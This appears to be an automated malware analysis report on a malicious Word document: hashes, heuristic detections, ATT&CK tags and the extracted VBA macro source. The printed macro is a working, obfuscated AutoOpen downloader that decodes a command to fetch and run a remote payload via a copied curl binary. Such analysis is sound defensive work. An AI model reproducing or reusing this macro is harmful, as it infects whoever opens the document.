Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8b7d09899cfcb209…

MALICIOUS

Office (OOXML)

103.1 KB Created: 2020-08-11 08:50:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: e40604dabbd32789301efe525ed1a868 SHA-1: f92e5afa367f49270c90d3180dd440cd5f986c7d SHA-256: 8b7d09899cfcb20972838c7f7dcbe5651060ec8fb316682c72fa3c8a1f84797a
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The 'autoopen' macro is present and calls the 'Shell()' function, indicating execution of arbitrary commands. The script decodes a string which is then passed to the Shell function. This string likely represents a command to download and save a payload to 'c:\programdata\curl.com'. The presence of the AutoOpen macro and Shell() call strongly suggests a downloader or droppper functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.835b97208387fc57-OOXML-9981517-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.835b97208387fc57-OOXML-9981517-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Builder\rels\dirpack1\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1411 bytes
SHA-256: 9f5ad3d78b6a6444b77f787b43eeec75fc29a59b04412610e0bd3149ef22159f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "t0"
Function w(Gc)
w = Split(Gc, "?")
End Function
Sub autoopen()
ju = um("67?77?68?0?15?75?0?2?83?69?84?0?85?29?85?126?82?76?126?67?65?67?126?72?69?6?6?83?69?84?0?82?17?29?82?126?69?6?6?83?69?84?0?83?17?29?71?126?83?126?86?6?6?83?69?84?0?86?17?29?82?126?19?126?18?6?6?67?65?76?76?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?67?85?82?76?14?67?79?77?0?15?5?85?5?0?15?70?126?0?72?84?84?80?26?15?15?89?79?73?17?80?22?82?14?67?79?77?15?66?85?77?85?15?90?69?78?69?83?14?80?72?80?31?76?29?67?73?84?89?18?14?67?65?66?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?17?17?17?14?84?77?80?0?6?6?0?67?65?76?76?0?5?82?17?5?5?83?17?5?5?86?17?5?0?67?26?124?80?82?79?71?82?65?77?68?65?84?65?124?17?17?17?14?84?77?80?2")
rI

Shell ju
End Sub

Attribute VB_Name = "cI"
Sub rI()
Call FileCopy(I, dP)
End Sub
Function um(Se)
R = w(Se)
Jk = UBound(R)
nA = 0
wi = 8
NS = ""
For j6 = nA To Jk
 NS = NS & Chr(R(j6) Xor 32)
Next j6
um = NS
End Function
Function dP()
dP = "c:\programdata\curl.com"
End Function
Function I()
I = Replace(ActiveDocument.Shapes(1).Title, "1", "")
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 15872 bytes
SHA-256: 8d0d84d2493e1d87cd09c511f1ccca55dbad27f89121e7f4d8eaa139138da0d2

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